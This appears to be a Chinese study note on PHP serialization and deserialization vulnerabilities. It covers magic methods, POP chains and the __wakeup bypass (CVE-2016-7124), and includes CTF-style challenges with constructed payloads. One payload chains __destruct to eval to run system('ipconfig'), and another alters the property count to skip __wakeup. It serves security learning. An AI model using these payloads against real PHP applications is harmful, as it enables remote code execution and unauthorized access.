类
类的结构
<?php
class hero{ //定义类(类名)
var $name; //声明成员变量 , var是一种修饰符
var $sex;
function jineng($var1) { //声明成员函数(方法)
echo $this->name; //使用预定义$this 调用成员变量
echo $var1; } //成员函数传参$var1可直接调用
}
$cyj = NEW hero() ; //实例化
$cyj->name = 'cyj' ; //参数赋值
$cyj->jineng('zuofan') ; //调用函数
?>
类的修饰符
public 公共的,在类的内部、子类中,或者类的外部都可以使用,不受限制
protected 受保护的,在类的内部和子类中可以使用,不能再外部使用
private 私有的, 只能在类的内部使用
序列化
private私有属性序列化时,变量前会加上 '%00类名%00' ,如
当提交序列化时需要手动添加%00 ,如下面的序列化提交时需要变成
O:4:"hero":1:{s:10:"%00testname%00";s:6:"benben";}
<?php
class hero{
private $name = 'benben';
}
$cyj = NEW hero() ;
echo serialize($cyj) ;
?>
output: O:4:"hero":1:{s:10:"testname";s:6:"benben";}
'testname' 即 '0test0name'
protected受保护属性序列化时,变量前会加上 '%00*%00' , 如
<?php
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub; }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";} '*pub' 即 '0*0pub'
使用urlencode可以避免privated和protected中的标识
反序列化
反序列化之后的内容为一个对象
反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关
反序列化不触发类的成员方法,需要调用方法才能触发
反序列化漏洞生成的原因:反序列化时函数 unserialize() 接收到的值可控,即可以通过改变成员变量,利用成员函数达到一定目的
魔术方法
一个预定好的,在特定情况下自动触发的行为方法
_construct() 构造函数,在实例化一个对象的时候,首先会去执行的一个方法。
_destruct() 析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法
_sleep() 触发时机:在序列化serialize()之前
_Wakeup() 触发时机:在反序列化unserialize()之前
_tostring() 触发时机:把对象当成字符串使用时
_invoke() 触发时机:把对象当成一个函数使用时
_call() 触发时机:调用一个不存在的方法 返回值:调用的不存在的方法名和参数
_callStatic() 触发时机:静态调用或调用成员常量时使用的方法不存在 返回值:调用的不存在的方法名和参数
_get() 触发时机 :调用的成员属性不存在 返回值:不存在的成员名称
_set() 触发时机:给不存在的成员赋值时 返回值:不存在的成员名称和值
_isset() 对不可访问的成员(protected,private或不存在的成员)使用isset()或empty()时,方法被调用,返回值为不存在的成员名称
_unset() 对不可访问的成员使用unset()时被触发
_clone() 当使用clone关键词拷贝一个对象后,新对象会自动调用定义的魔术方法_clone()
POP链
- 一道php反序列化例题
点击查看代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
思路:可利用函数:eval ,发现eval执行的是$test2 , 又发现魔术方法_destruct中调用了$test中的action函数,于是想到把参数test赋值为一个evil类,其中的$test2为需执行命令的payload,所以构造出代码
点击查看代码
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
//public function __destruct(){
// $this->test->action();
//}
}
class evil {
var $test2 = "system('ipconfig');";
public function action(){
eval($this->test2);
}
}
$a = new index();
echo urlencode(serialize($a)); //注意这里的$test为private 成员,需要url编码
?>
ps: 一开始我使用的payload为system('ls')发现根本执行不了,于是查找一番发现ls为linux或maxos的指令,对应的windows命令为dir ,于是使用system('dir') 发现还是不行,后来使用exec_shell()发现dir可以使用了
魔术方法被触发的前提是所在的类被调用
相关姿势:
_wakeup绕过(CVE-2016-7124)
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
简述&方法:
1、魔术方法_wakeup将会在反序列化函数unserialize生效前执行
2、当序列化字符串中表示对象的属性个数值大于真实的个数时将直接跳过魔术方法_wakeup的执行
例题
NSSCTF——[SWPUCTF 2021 新生赛]no_wakeup
题目源码
点击查看代码
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
分析过程:
存在类HaHaHa
类中存在参数$admin和$passwd
实例化时将给参数赋值一次(__construct)
反序列化之前将$passwd用sha1编码(__wakeup)
销毁实例时验证参数是否正确(__destruct)
绕过__wakeup并将$admin赋值为admin 将$passwd赋值为wllm
获取序列化字符串
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "wllm";
}
}
$p = new HaHaHa();
echo serialize($p);
?>
output> O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
payload:(将对象属性个数值改为3)
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}